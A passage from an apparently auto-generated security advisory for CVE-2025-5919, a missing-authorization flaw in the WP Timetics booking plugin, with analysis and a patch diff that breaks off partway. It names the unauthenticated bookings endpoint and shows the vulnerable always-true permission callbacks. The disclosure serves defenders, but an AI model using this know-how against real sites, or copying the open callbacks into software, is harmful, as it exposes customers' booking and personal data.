Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-5919: Appointment Booking and Scheduling Calendar Plugin – WP Timetics <= 1.0.36 – Missing Authorization to Unauthenticated Booking Details View And Modification (timetics)

CVE ID CVE-2025-5919
Plugin timetics
Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 1.0.36
Patched Version 1.0.37
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-5919:
The WP Timetics plugin for WordPress, versions up to and including 1.0.36, contains a missing authorization vulnerability in its booking REST API endpoints. This flaw allows unauthenticated attackers to view and modify booking details, leading to unauthorized data access and manipulation.

Atomic Edge research identifies the root cause in the `timetics/core/bookings/api-booking.php` file. The `register_routes` function (lines 95-112) defines REST endpoints for retrieving (`GET`) and updating (`PUT/POST`) booking items. The `permission_callback` for both the `get_item` and `update_item` methods was set to an anonymous function that unconditionally returned `true`. This configuration bypassed WordPress’s standard capability checks, granting full public access to the `/wp-json/timetics/v1/bookings/` endpoint regardless of user authentication state.

The exploitation vector targets the plugin’s publicly exposed REST API. An attacker sends HTTP requests to the vulnerable endpoint `/wp-json/timetics/v1/bookings/`. A GET request retrieves sensitive booking details, including customer information, appointment times, and payment data. A PUT or POST request with modified parameters (e.g., `status`, `customer_id`, `meeting_id`) alters existing bookings. No authentication credentials or nonce tokens are required in version 1.0.36 and earlier.

The patch modifies the `api-booking.php` file by replacing the unconditional `permission_callback` functions with dedicated methods `get_item_permission_callback` and `update_item_permission_callback` (lines 1237-1259). These new callbacks extract the `X-WP-Nonce` header from the request and validate it using `wp_verify_nonce($nonce, ‘wp_rest’)`. This enforces WordPress’s REST API nonce verification, ensuring requests originate from authenticated WordPress sessions. The fix also adds a `visibility` field to appointment data in `api-appointment-taxonomy.php` and implements frontend visibility checks in `shortcode.php`.

Successful exploitation compromises booking data integrity and confidentiality. Attackers can view all booking details, potentially exposing personally identifiable information (PII) of customers. They can modify booking statuses, change appointment times, reassign bookings to different customers, or cancel appointments. This could lead to service disruption, financial loss from manipulated payments, and violations of data protection regulations.

Differential between vulnerable and patched code

Code Diff
--- a/timetics/core/appointments/api-appointment-taxonomy.php
+++ b/timetics/core/appointments/api-appointment-taxonomy.php
@@ -384,6 +384,7 @@
             'type'                  => $appointment->get_type(),
             'locations'             => $appointment->get_locations(),
             'price'                 => $appointment->get_price(),
+            'visibility'            => $appointment->get_visibility(),
         ];

         return $data;
--- a/timetics/core/base.php
+++ b/timetics/core/base.php
@@ -10,6 +10,7 @@
 namespace TimeticsCore;

 use Hooks;
+use Timetics;
 use TimeticsCoreAppointmentsApiAppointmentTaxonomy;
 use TimeticsCoreAppointmentsAppointment;
 use TimeticsCoreBookingsBooking;
@@ -17,6 +18,7 @@
 use TimeticsCoreServicesService;
 use TimeticsCoreStaffStaff;
 use TimeticsCoreStaffsStaff as StaffsStaff;
+use TimeticsCoreIntegrationsGoogleServiceGoogle_Calendar_Sync;
 use TimeticsUtilsSingleton;

 /**
@@ -54,6 +56,7 @@
         AppointmentsHooks::instance()->init();
         Api_Faker::instance();
         ApiAppointmentTaxonomy::instance();
+        Google_Calendar_Sync::instance();
     }
 }

--- a/timetics/core/bookings/api-booking.php
+++ b/timetics/core/bookings/api-booking.php
@@ -95,16 +95,12 @@
                 [
                     'methods'             => WP_REST_Server::READABLE,
                     'callback'            => [$this, 'get_item'],
-                    'permission_callback' => function () {
-                        return true;
-                    },
+                    'permission_callback' => [$this, 'get_item_permission_callback'],
                 ],
                 [
                     'methods'             => WP_REST_Server::EDITABLE,
                     'callback'            => [$this, 'update_item'],
-                    'permission_callback' => function () {
-                        return true;
-                    },
+                    'permission_callback' => [$this, 'update_item_permission_callback'],
                 ],
                 [
                     'methods'             => WP_REST_Server::DELETABLE,
@@ -1237,4 +1233,30 @@

         return 0;
     }
+
+    /**
+     * Update item permission callback
+     * @param WP_Rest_Request $request
+     * @return bool
+     */
+    public function update_item_permission_callback($request){
+        $nonce = $request->get_header('X-WP-Nonce');
+        if (wp_verify_nonce($nonce, 'wp_rest')) {
+            return true;
+        }
+        return false;
+    }
+
+    /**
+     * Get item permission callback
+     * @param WP_Rest_Request $request
+     * @return bool
+     */
+    public function get_item_permission_callback($request){
+        $nonce = $request->get_header('X-WP-Nonce');
+        if (wp_verify_nonce($nonce, 'wp_rest')) {
+            return true;
+        }
+        return false;
+    }
 }
--- a/timetics/core/bookings/booking.php
+++ b/timetics/core/bookings/booking.php
@@ -995,4 +995,67 @@
         ];
     }

+    /**
+     * Get Google Calendar Event ID for this booking
+     *
+     * @return string
+     */
+    public function get_google_event_id() {
+        return $this->get_metadata( 'google_event_id' );
+    }
+
+    /**
+     * Set Google Calendar Event ID for this booking
+     *
+     * @param string $event_id
+     * @return bool
+     */
+    public function set_google_event_id( $event_id ) {
+        return $this->save_metadata( 'google_event_id', $event_id );
+    }
+
+    public function set_sync_status( $status ) {
+        return $this->save_metadata( 'google_calendar_sync_status', $status );
+    }
+
+    public function get_sync_status() {
+        return $this->get_metadata( 'google_calendar_sync_status' );
+    }
+    /**
+     * Get all Google Event IDs for all bookings
+     *
+     * @return array
+     */
+    public function get_all_google_event_ids() {
+        $meta_key = $this->meta_prefix . 'google_event_id';
+
+        $posts = get_posts(
+            array(
+                'post_type'      => 'any',
+                'posts_per_page' => -1,
+                'meta_query'     => array(
+                    array(
+                        'key'     => $meta_key,
+                        'value'   => '',
+                        'compare' => '!=',
+                    ),
+                ),
+                'fields'         => 'ids',
+            )
+        );
+
+        if ( empty( $posts ) ) {
+            return array();
+        }
+
+        $event_ids = array();
+        foreach ( $posts as $post_id ) {
+            $event_id = get_post_meta( $post_id, $meta_key, true );
+            if ( ! empty( $event_id ) ) {
+                $event_ids[] = $event_id;
+            }
+        }
+
+        return $event_ids;
+    }
 }
--- a/timetics/core/frontend/shortcode.php
+++ b/timetics/core/frontend/shortcode.php
@@ -46,7 +46,7 @@
      */
     public function booking_form( $attribute ) {
         wp_enqueue_style( 'timetics-vendor' );
-        wp_enqueue_style( 'timetics-frontend' );
+        wp_enqueue_style( 'timetics-frontend' );
         wp_enqueue_script( 'timetics-flatpickr-scripts' );
         wp_enqueue_script( 'timetics-frontend-scripts' );
         wp_enqueue_script( 'calendar-locale' );
@@ -57,6 +57,13 @@
         ];
         $controls      = json_encode( $data_controls );

+        $visibility = get_post_meta( $id, '_tt_apointment_visibility', true );
+        $is_visible = 'enabled' === $visibility;
+
+        if ( ! $is_visible && ! current_user_can( 'manage_options' ) ) {
+            return '<div class="timetics-shortcode-wrapper"><p>' . esc_html__( 'This booking form is not available.', 'timetics' ) . '</p></div>';
+        }
+
         ob_start();
         ?>
         <div class="timetics-shortcode-wrapper">
@@ -73,7 +80,7 @@
      */
     public function user_dashboard( $attribute ) {
         wp_enqueue_style( 'timetics-vendor' );
-        wp_enqueue_style( 'timetics-frontend' );
+        wp_enqueue_style( 'timetics-frontend' );
         wp_enqueue_script( 'timetics-frontend-scripts' );

         $id            =  get_current_user_id();
@@ -106,7 +113,7 @@

     public function eventin_seat_plan() {
         wp_enqueue_style( 'timetics-vendor' );
-        wp_enqueue_style( 'timetics-frontend' );
+        wp_enqueue_style( 'timetics-frontend' );
         wp_enqueue_script( 'timetics-flatpickr-scripts' );
         wp_enqueue_script( 'timetics-frontend-scripts' );
     }
@@ -118,7 +125,7 @@
      */
     public function meeting_list( $attribute ) {
         wp_enqueue_style( 'timetics-vendor' );
-        wp_enqueue_style( 'timetics-frontend' );
+        wp_enqueue_style( 'timetics-frontend' );
         wp_enqueue_script( 'timetics-flatpickr-scripts' );
         wp_enqueue_script( 'timetics-frontend-scripts' );
         wp_enqueue_script( 'calendar-locale' );
@@ -151,7 +158,7 @@
      */
     public function category_meetings( $attribute ) {
         wp_enqueue_style( 'timetics-vendor' );
-        wp_enqueue_style( 'timetics-frontend' );
+        wp_enqueue_style( 'timetics-frontend' );
         wp_enqueue_script( 'timetics-flatpickr-scripts' );
         wp_enqueue_script( 'timetics-frontend-scripts' );
         wp_enqueue_script( 'calendar-locale' );
--- a/timetics/core/frontend/templates/meeting-list.php
+++ b/timetics/core/frontend/templates/meeting-list.php
@@ -3,9 +3,15 @@
 use TimeticsCoreAppointmentsAppointment as Appointment;
 use TimeticsCoreStaffsStaff;

-$meetings = Appointment::all([
+$args = [
     'posts_per_page' => $limit
-]);
+];
+
+if ( ! current_user_can( 'manage_options' ) ) {
+    $args['visibility'] = 'enabled';
+}
+
+$meetings = Appointment::all($args);

 $staffs = Staff::all();
 $terms = get_terms( [
--- a/timetics/core/integrations/google/client.php
+++ b/timetics/core/integrations/google/client.php
@@ -89,14 +89,14 @@
      */
     public function get_auth_url() {
         $auth_url = add_query_arg(
-            [
+            array(
 				'client_id'     => $this->client_id,
 				'scope'         => urlencode_deep( $this->auth_scope ),
 				'redirect_uri'  => $this->redirect_uri,
 				'response_type' => 'code',
 				'access_type'   => 'offline',

-			], self::TIMETICS_AUTH_URL
+			), self::TIMETICS_AUTH_URL
         );

         return $auth_url;
@@ -107,11 +107,11 @@
      *
      * @return  void
      */
-    public function set_auth_config( $args = [] ) {
-        $defaults = [
+    public function set_auth_config( $args = array() ) {
+        $defaults = array(
             'client_id'      => '',
             'client_secrete' => '',
-        ];
+        );

         $args = wp_parse_args( $args, $defaults );

@@ -151,15 +151,15 @@
             throw new InvalidArgumentException( 'Invalid code' );
         }

-        $args = [
+        $args = array(
             'client_id'     => $this->client_id,
             'client_secret' => $this->client_secrete,
             'code'          => $code,
             'redirect_uri'  => $this->redirect_uri,
             'grant_type'    => 'authorization_code',
-        ];
+        );

-        $response = wp_remote_post( self::TIMETICS_TOKEN_URI, [ 'body' => $args ] );
+        $response = wp_remote_post( self::TIMETICS_TOKEN_URI, array( 'body' => $args ) );

         $status_code = wp_remote_retrieve_response_code( $response );

@@ -178,15 +178,15 @@
      * @return  void
      */
     public function fetch_access_token_with_refresh_token( $refresh_token ) {
-        $args = [
+        $args = array(
             'client_id'     => $this->client_id,
             'client_secret' => $this->client_secrete,
             'refresh_token' => $refresh_token,
             'redirect_uri'  => $this->redirect_uri,
             'grant_type'    => 'refresh_token',
-        ];
+        );

-        $response = wp_remote_post( self::TIMETICS_TOKEN_URI, [ 'body' => $args ] );
+        $response = wp_remote_post( self::TIMETICS_TOKEN_URI, array( 'body' => $args ) );

         $status_code = wp_remote_retrieve_response_code( $response );

@@ -208,16 +208,16 @@
      */
     public function revoke( $token ) {
         $response = wp_remote_post(
-            self::TIMETICS_REVOKE_URI, [
-                'headers' => [
+            self::TIMETICS_REVOKE_URI, array(
+                'headers' => array(
                     'content-type' => 'application/x-www-form-urlencoded',
-                ],
+                ),
                 'body'    => build_query(
-                    [
+                    array(
                         'token' => $token,
-                    ]
+                    )
                 ),
-            ]
+            )
         );

         $status_code = wp_remote_retrieve_response_code( $response );
--- a/timetics/core/integrations/google/service/calendar.php
+++ b/timetics/core/integrations/google/service/calendar.php
@@ -68,12 +68,13 @@
             if ( empty( $event['start'] ) ) {
                 continue;
             }
-            // error_log(print_r($event['start'], true));
+
             $start = ! empty($event['start']['dateTime']) ? $event['start']['dateTime'] : $event['start']['date'];
             $end = ! empty($event['end']['dateTime']) ? $event['end']['dateTime'] : $event['end']['date'];


             $filtered_events[] = [
+                'id' => $event['id'] ?? '',
                 'start_date' => date('Y-m-d', strtotime($start)),
                 'start_time' => date('H:i:s', strtotime($start)),
                 'end_date'   => date('Y-m-d', strtotime($end)),
@@ -86,6 +87,37 @@
         return $filtered_events;
     }

+    /**
+     * Get event by ID
+     *
+     * @param   string  $event_id
+     *
+     * @return JSON | WP_Error
+     */
+    public function get_event( $event_id , $user_id = null ) {
+        if ( ! $user_id ) {
+            $user_id = get_current_user_id();
+        }
+
+        $access_token = timetics_get_google_access_token( $user_id );
+
+        $data = [
+            'headers' => [
+                'Authorization' => 'Bearer ' . $access_token,
+            ],
+        ];
+
+        $response = wp_remote_get(self::TIMETICS_CALENDAR_EVENT . $event_id, $data);
+
+        if ( is_wp_error( $response ) ) {
+            return ['error' => $response->get_error_message()];
+        }
+
+        $body   = wp_remote_retrieve_body( $response );
+        $event  = json_decode($body, true);
+
+        return $event;
+    }

     /**
      * Create event
--- a/timetics/core/integrations/google/service/google-calendar-sync.php
+++ b/timetics/core/integrations/google/service/google-calendar-sync.php
@@ -0,0 +1,215 @@
+<?php
+/**
+ * Google Calendar Sync Class
+ *
+ * Handles two-way synchronization between Google Calendar and Timetics appointments.
+ *
+ * @package Timetics
+ */
+
+namespace TimeticsCoreIntegrationsGoogleService;
+
+use TimeticsCoreAppointmentsApi_Appointment;
+use TimeticsCoreBookingsBooking;
+use TimeticsCoreCustomersCustomer;
+use TimeticsCoreAppointmentsAppointment;
+use WP_Error;
+use TimeticsUtilsSingleton;
+
+/**
+ * Class Google_Calendar_Sync
+ */
+class Google_Calendar_Sync {
+    use Singleton;
+
+    /**
+     * Google Calendar service instance
+     *
+     * @var Calendar
+     */
+    private $calendar;
+
+    /**
+     * Appointment API instance
+     *
+     * @var Api_Appointment
+     */
+    private $appointment_api;
+
+    /**
+     * Meta key for storing Google Event ID
+     */
+    const EVENT_ID_META_KEY = 'tt_google_calendar_event_id';
+
+    /**
+     * Meta key for storing sync status
+     */
+    const SYNC_STATUS_META_KEY = 'tt_google_calendar_sync_status';
+
+    /**
+     * Meta key for storing ETag
+     */
+    const ETAG_META_KEY = 'tt_google_calendar_etag';
+
+    /**
+     * Constructor
+     */
+    public function __construct() {
+        try {
+            $this->calendar = new Calendar();
+            $this->appointment_api = new Api_Appointment();
+
+            // Add hooks
+            add_action( 'timetics_after_booking_schedule', array( $this, 'sync_booking_to_google_calendar' ), 10, 4 );
+            add_filter( 'timetics/admin/booking/get_items', array( $this, 'get_events_from_google' ) );
+        } catch ( Throwable $e ) {
+            error_log( $e->getMessage() );
+        }
+    }
+
+    /**
+     * Get all Google Event IDs that were created by Timetics
+     *
+     * @return array
+     */
+    private function get_timetics_google_event_ids() {
+        $booking = new Booking();
+        return $booking->get_all_google_event_ids();
+    }
+
+    /**
+     * Sync booking to Google Calendar
+     *
+     * @param int    $booking_id  Booking ID
+     * @param int    $customer_id Customer ID
+     * @param int    $meeting_id  Meeting ID
+     * @param array  $data        Booking data
+     *
+     * @return void|WP_Error
+     */
+    public function sync_booking_to_google_calendar( $booking_id, $customer_id, $meeting_id, $data ) {
+        try {
+            if ( ! is_numeric( $booking_id ) || ! is_numeric( $customer_id ) || ! is_numeric( $meeting_id ) ) {
+                return new WP_Error( 'invalid_parameters', 'Invalid parameters provided for Google Calendar sync.' );
+            }
+
+            $booking = new Booking( $booking_id );
+            $meeting = new Appointment( $meeting_id );
+            $customer = new Customer( $customer_id );
+
+            // Get the current user's access token
+            $user_id = get_current_user_id();
+            $access_token = timetics_get_google_access_token( $user_id );
+
+            if ( empty( $access_token ) ) {
+                return new WP_Error( 'no_access_token', 'No Google Calendar access token found. Please reconnect your Google account.' );
+            }
+
+            // Prepare event data
+            $event_data = array(
+                'access_token' => sanitize_text_field( $access_token ),
+                'summary' => sanitize_text_field( $meeting->get_name() ),
+                'description' => sanitize_text_field( $meeting->get_description() ),
+                'start' => array(
+                    'dateTime' => $booking->get_start_date(),
+                    'timeZone' => wp_timezone_string(),
+                ),
+                'end' => array(
+                    'dateTime' => $booking->get_end_date(),
+                    'timeZone' => wp_timezone_string(),
+                ),
+                'attendees' => array(
+                    array( 'email' => $customer->get_email() ),
+                ),
+                'reminders' => array(
+                    'useDefault' => true,
+                ),
+                'guestsCanInviteOthers' => false,
+                'guestsCanModify' => false,
+                'guestsCanSeeOtherGuests' => false,
+                'timezone' => wp_timezone_string(),
+            );
+
+            // Check if this booking already has a Google Event ID
+            $event_id = $booking->get_google_event_id();
+
+            if ( $event_id ) {
+                // Update existing event
+                $result = $this->calendar->update_event( $event_id, $event_data );
+            } else {
+                // Create new event
+                $result = $this->calendar->create_event( $event_data );
+
+                // Save the event ID for future updates
+                if ( ! empty( $result['id'] ) ) {
+                    $booking->set_google_event_id( $result['id'] );
+                }
+            }
+
+            if ( is_wp_error( $result ) ) {
+                $booking->set_sync_status( 'error' );
+                return $result;
+            }
+
+            $booking->set_sync_status( 'synced' );
+        } catch ( Exception $e ) {
+            return new WP_Error( 'google_calendar_sync_error', $e->getMessage() );
+        }
+    }
+
+    /**
+     * Get events from Google Calendar
+     * Only returns events that were not created by Timetics
+     *
+     * @param array $bookings Existing bookings array
+     *
+     * @return array Modified bookings array with Google Calendar events
+     */
+    public function get_events_from_google( $bookings ) {
+        try {
+            // Get Google Calendar events
+            $events = $this->calendar->get_events( get_current_user_id() );
+
+            if ( is_wp_error( $events ) || empty( $events ) ) {
+                return $bookings;
+            }
+
+            // Get all Timetics-created Google Event IDs
+            $timetics_event_ids = $this->get_timetics_google_event_ids();
+
+            $google_events = array();
+
+            foreach ( $events as $event ) {
+                // Skip events that were created by Timetics
+                if ( in_array( $event['id'] ?? null, $timetics_event_ids, true ) ) {
+                    continue;
+                }
+
+                // mapping google events data to timetics booking format
+                $google_events[] = array(
+                    'id' => $event['id'] ?? '',
+                    'order_total' => '',
+                    'title' => $event['summary'] ?? '',
+                    'description' => $event['description'] ?? '',
+                    'date' => $event['start_date'] ?? '',
+                    'start_date' => $event['start_date'] ?? '',
+                    'end_date' => $event['end_date'] ?? '',
+                    'start_time' => $event['start_time'] ?? '',
+                    'end_time' => $event['end_time'] ?? '',
+                    'source' => 'google',
+                    'status' => 'approved',
+                    'random_id' => 'I' . $event['id'] ?? '',
+                    'appointment' => array(
+                        'id' => $event['id'] ?? '',
+                        'name' => $event['summary'] ?? '',
+                    ),
+                );
+            }
+
+            // Merge with existing bookings
+            return array_merge( $bookings, $google_events );
+        } catch ( Throwable $e ) {
+            return $bookings;
+        }
+    }
+}
--- a/timetics/timetics.php
+++ b/timetics/timetics.php
@@ -4,7 +4,7 @@
  * Plugin Name:       Timetics
  * Plugin URI:        https://arraytics.com/timetics/
  * Description:       Schedule, Appointment and Seat Booking plugin.
- * Version:           1.0.36
+ * Version:           1.0.37
  * Requires at least: 5.2
  * Requires PHP:      7.3
  * Author:            Arraytics
@@ -56,7 +56,7 @@
      * @return string
      */
     public static function get_version() {
-        return '1.0.36';
+        return '1.0.37';
     }

     /**
--- a/timetics/vendor/autoload.php
+++ b/timetics/vendor/autoload.php
@@ -3,10 +3,20 @@
 // autoload.php @generated by Composer

 if (PHP_VERSION_ID < 50600) {
-    echo 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
-    exit(1);
+    if (!headers_sent()) {
+        header('HTTP/1.1 500 Internal Server Error');
+    }
+    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    if (!ini_get('display_errors')) {
+        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
+            fwrite(STDERR, $err);
+        } elseif (!headers_sent()) {
+            echo $err;
+        }
+    }
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit05cd069eafe0df94d6f2b539707d0acb::getLoader();
+return ComposerAutoloaderInitd02707597fbf5927c7666b74bdb40ea9::getLoader();
--- a/timetics/vendor/composer/ClassLoader.php
+++ b/timetics/vendor/composer/ClassLoader.php
@@ -42,35 +42,37 @@
  */
 class ClassLoader
 {
-    /** @var ?string */
+    /** @var Closure(string):void */
+    private static $includeFile;
+
+    /** @var string|null */
     private $vendorDir;

     // PSR-4
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, int>>
+     * @var array<string, array<string, int>>
      */
     private $prefixLengthsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, array<int, string>>
+     * @var array<string, list<string>>
      */
     private $prefixDirsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr4 = array();

     // PSR-0
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, string[]>>
+     * List of PSR-0 prefixes
+     *
+     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+     *
+     * @var array<string, array<string, list<string>>>
      */
     private $prefixesPsr0 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr0 = array();

@@ -78,8 +80,7 @@
     private $useIncludePath = false;

     /**
-     * @var string[]
-     * @psalm-var array<string, string>
+     * @var array<string, string>
      */
     private $classMap = array();

@@ -87,29 +88,29 @@
     private $classMapAuthoritative = false;

     /**
-     * @var bool[]
-     * @psalm-var array<string, bool>
+     * @var array<string, bool>
      */
     private $missingClasses = array();

-    /** @var ?string */
+    /** @var string|null */
     private $apcuPrefix;

     /**
-     * @var self[]
+     * @var array<string, self>
      */
     private static $registeredLoaders = array();

     /**
-     * @param ?string $vendorDir
+     * @param string|null $vendorDir
      */
     public function __construct($vendorDir = null)
     {
         $this->vendorDir = $vendorDir;
+        self::initializeIncludeClosure();
     }

     /**
-     * @return string[]
+     * @return array<string, list<string>>
      */
     public function getPrefixes()
     {
@@ -121,8 +122,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, array<int, string>>
+     * @return array<string, list<string>>
      */
     public function getPrefixesPsr4()
     {
@@ -130,8 +130,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirs()
     {
@@ -139,8 +138,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirsPsr4()
     {
@@ -148,8 +146,7 @@
     }

     /**
-     * @return string[] Array of classname => path
-     * @psalm-return array<string, string>
+     * @return array<string, string> Array of classname => path
      */
     public function getClassMap()
     {
@@ -157,8 +154,7 @@
     }

     /**
-     * @param string[] $classMap Class to filename map
-     * @psalm-param array<string, string> $classMap
+     * @param array<string, string> $classMap Class to filename map
      *
      * @return void
      */
@@ -175,24 +171,25 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string          $prefix  The prefix
-     * @param string[]|string $paths   The PSR-0 root directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix
+     * @param list<string>|string $paths   The PSR-0 root directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    (array) $paths
+                    $paths
                 );
             }

@@ -201,19 +198,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+            $this->prefixesPsr0[$first][$prefix] = $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -222,9 +219,9 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string          $prefix  The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths   The PSR-4 base directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths   The PSR-4 base directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
      *
@@ -232,17 +229,18 @@
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    (array) $paths
+                    $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -252,18 +250,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
+            $this->prefixDirsPsr4[$prefix] = $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -272,8 +270,8 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string          $prefix The prefix
-     * @param string[]|string $paths  The PSR-0 base directories
+     * @param string              $prefix The prefix
+     * @param list<string>|string $paths  The PSR-0 base directories
      *
      * @return void
      */
@@ -290,8 +288,8 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string          $prefix The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths  The PSR-4 base directories
+     * @param string              $prefix The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
      *
@@ -425,7 +423,8 @@
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            includeFile($file);
+            $includeFile = self::$includeFile;
+            $includeFile($file);

             return true;
         }
@@ -476,9 +475,9 @@
     }

     /**
-     * Returns the currently registered loaders indexed by their corresponding vendor directories.
+     * Returns the currently registered loaders keyed by their corresponding vendor directories.
      *
-     * @return self[]
+     * @return array<string, self>
      */
     public static function getRegisteredLoaders()
     {
@@ -555,18 +554,26 @@

         return false;
     }
-}

-/**
- * Scope isolated include.
- *
- * Prevents access to $this/self from included files.
- *
- * @param  string $file
- * @return void
- * @private
- */
-function includeFile($file)
-{
-    include $file;
+    /**
+     * @return void
+     */
+    private static function initializeIncludeClosure()
+    {
+        if (self::$includeFile !== null) {
+            return;
+        }
+
+        /**
+         * Scope isolated include.
+         *
+         * Prevents access to $this/self from included files.
+         *
+         * @param  string $file
+         * @return void
+         */
+        self::$includeFile = Closure::bind(static function($file) {
+            include $file;
+        }, null, null);
+    }
 }
--- a/timetics/vendor/composer/InstalledVersions.php
+++ b/timetics/vendor/composer/InstalledVersions.php
@@ -1,352 +0,0 @@
-<?php
-
-/*
- * This file is part of Composer.
- *
- * (c) Nils Adermann <naderman@naderman.de>
- *     Jordi Boggiano <j.boggiano@seld.be>
- *
- * For the full copyright and license information, please view the LICENSE
- * file that was distributed with this source code.
- */
-
-namespace Composer;
-
-use ComposerAutoloadClassLoader;
-use ComposerSemverVersionParser;
-
-/**
- * This class is copied in every Composer installed project and available to all
- *
- * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
- *
- * To require its presence, you can require `composer-runtime-api ^2.0`
- *
- * @final
- */
-class InstalledVersions
-{
-    /**
-     * @var mixed[]|null
-     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
-     */
-    private static $installed;
-
-    /**
-     * @var bool|null
-     */
-    private static $canGetVendors;
-
-    /**
-     * @var array[]
-     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
-     */
-    private static $installedByVendor = array();
-
-    /**
-     * Returns a list of all package names which are present, either by being installed, replaced or provided
-     *
-     * @return string[]
-     * @psalm-return list<string>
-     */
-    public static function getInstalledPackages()
-    {
-        $packages = array();
-        foreach (self::getInstalled() as $installed) {
-            $packages[] = array_keys($installed['versions']);
-        }
-
-        if (1 === count($packages)) {
-            return $packages[0];
-        }
-
-        return array_keys(array_flip(call_user_func_array('array_merge', $packages)));
-    }
-
-    /**
-     * Returns a list of all package names with a specific type e.g. 'library'
-     *
-     * @param  string   $type
-     * @return string[]
-     * @psalm-return list<string>
-     */
-    public static function getInstalledPackagesByType($type)
-    {
-        $packagesByType = array();
-
-        foreach (self::getInstalled() as $installed) {
-            foreach ($installed['versions'] as $name => $package) {
-                if (isset($package['type']) && $package['type'] === $type) {
-                    $packagesByType[] = $name;
-                }
-            }
-        }
-
-        return $packagesByType;
-    }
-
-    /**
-     * Checks whether the given package is installed
-     *
-     * This also returns true if the package name is provided or replaced by another package
-     *
-     * @param  string $packageName
-     * @param  bool   $includeDevRequirements
-     * @return bool
-     */
-    public static function isInstalled($packageName, $includeDevRequirements = true)
-    {
-        foreach (self::getInstalled() as $installed) {
-            if (isset($installed['versions'][$packageName])) {
-                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
-            }
-        }
-
-        return false;
-    }
-
-    /**
-     * Checks whether the given package satisfies a version constraint
-     *
